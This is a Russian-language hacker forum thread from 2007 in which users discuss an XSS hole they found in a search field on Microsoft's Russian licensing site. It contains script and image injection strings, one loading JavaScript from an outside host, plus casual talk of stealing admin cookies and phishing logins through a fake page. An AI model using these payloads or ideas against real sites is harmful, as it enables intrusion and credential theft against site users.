Баг на сайте мелкософт
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Баг на сайте мелкософт - 2007-04-26 19:04:13.336666
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Просматривал сайт мелкософта! Нашёл баг! не знаю, как воспользоваться! Таким образом никогда не делал! Адрес: http://www.microsoft.com/Rus/Licensing/Where/Sale/Default.mspx В поле "Название партнёра" вбил <script>alert('hui');</script> Выскочило сообщение HUI!!!!! ПОДСКАЖИТЕ!!! НЕТ, ПРОСТО УСПОКОЙТЕ!!!!! [sm=ai.gif][sm=ai.gif][sm=ai.gif]
Искренне Ваш, Жук.
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-26 19:12:45.156666
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Я смог вбить туда 350 символов. Теперь нужен подходящий скрипт……….
А попробуйте вставить туда <img src="http://forum.xakep.ru/upfiles/smiley/ai.gif"> и прочитайте текст ниже…..
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 13:00:15.606666
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
Ну да, клево :)
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 14:01:15.933333
|
|
|
zerokill
Сообщений: 178
Оценки: 0
Присоединился: 2007-02-24 12:39:11.183333
|
прикольно , можно постибаться )))) я вставил <img src="http://pc-soft.ru/uploads/fotos/foto_72507.gif">
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 14:33:45.913333
|
|
|
system.d
Сообщений: 281
Оценки: 0
Присоединился: 2007-03-26 17:47:28.133333
|
<td valign="top" width="2"></td>
<td valign="top"><input maxLength="255" name="query"
style="cursor:text; font-size:12px; width:400px; background-color:#FFFFFF;"
type="text" value="<script src="http://pletzer.googlepages.com/hallo.js"></
</tr>
попробуй ето вбить
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 14:44:27.970000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Появилась строка <script src=
Чёрррррррррт….. Закусывать нужно было…… Башка трещит, ничерта не сооброжаю…….. У меня под рукой не подходящего скрипта. Кто сайты знает, на которых скрипты есть? Я щас умру…….. [sm=scull.gif]
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 15:42:37.410000
|
|
|
blonx
Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
|
какие тебе скрипты нужны?? Скрипты есть на всех сайтах.[sm=ag.gif]
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 16:16:25.840000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Ну, давай подумем… Нужен скрипт, позволяющий выполнить произвольный код, т. е. нужно повышение прав, т. е. нужно уломать сервак и стать админом. Примерно так. Наверно. Влом думать, мозги на прокачку отдал, щас в трансе…… :D
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 16:43:01.783333
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
Через XSS ты админом не станешь
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 16:50:24.696666
|
|
|
blonx
Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
|
quote:
ORIGINAL: Pupkin-Zade
Через XSS ты админом не станешь
админом? это еще громко сказано!!! Вряд ли вообще получиться реализовать данную багу, совет афтару - ЗАБУДЬ!!!
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 16:59:19.140000
|
|
|
furiousangel
Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
|
Если админ полный отморозень (в чем очень и очень сомневаюсь) то максимум сможешь стянуть его кукисы или перенаправить на свой фейк-сайт где в формочки login и pass он обязательно введет свои данные :D:D:D
джава на стороне клиента выполняется. то есть атаки XSS в основном нацелены не на сервер, а на пользователя
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-04-27 18:32:55.400000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Лан, всем спасибо. Просто буду рад, что нашёл баг у дяди Билла.[sm=bp.gif] Будем искать ещё. ;)
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-05-01 13:36:59.020000
|
|
|
КУЗЬМИЧ
Сообщений: 23
Оценки: 0
Присоединился: 2007-04-30 14:28:24.576666
|
Мелкософот вообще глючный можно зарегится как создатель висты и скачать её от туда…;)
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-05-01 17:44:35.646666
|
|
|
B00cherBay
Сообщений: 60
Оценки: 0
Присоединился: 2006-09-17 19:55:25.826666
|
НИ ЗА ЧТО НЕ ЗДАВАЙСЯ
НИКОГДА!!!
палюбэ там что то есть еще
|
|
|
|
|
RE: Баг на сайте мелкософт - 2007-05-01 18:58:30.283333
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Спасибо есчо раз, будем искать…
2 КУЗЬМИЧ:
Я не уверен, что это получится. Если уже получалось так сделать, плз, просвети ламосов, научи, как это делать.
|
|
|
|
|
|
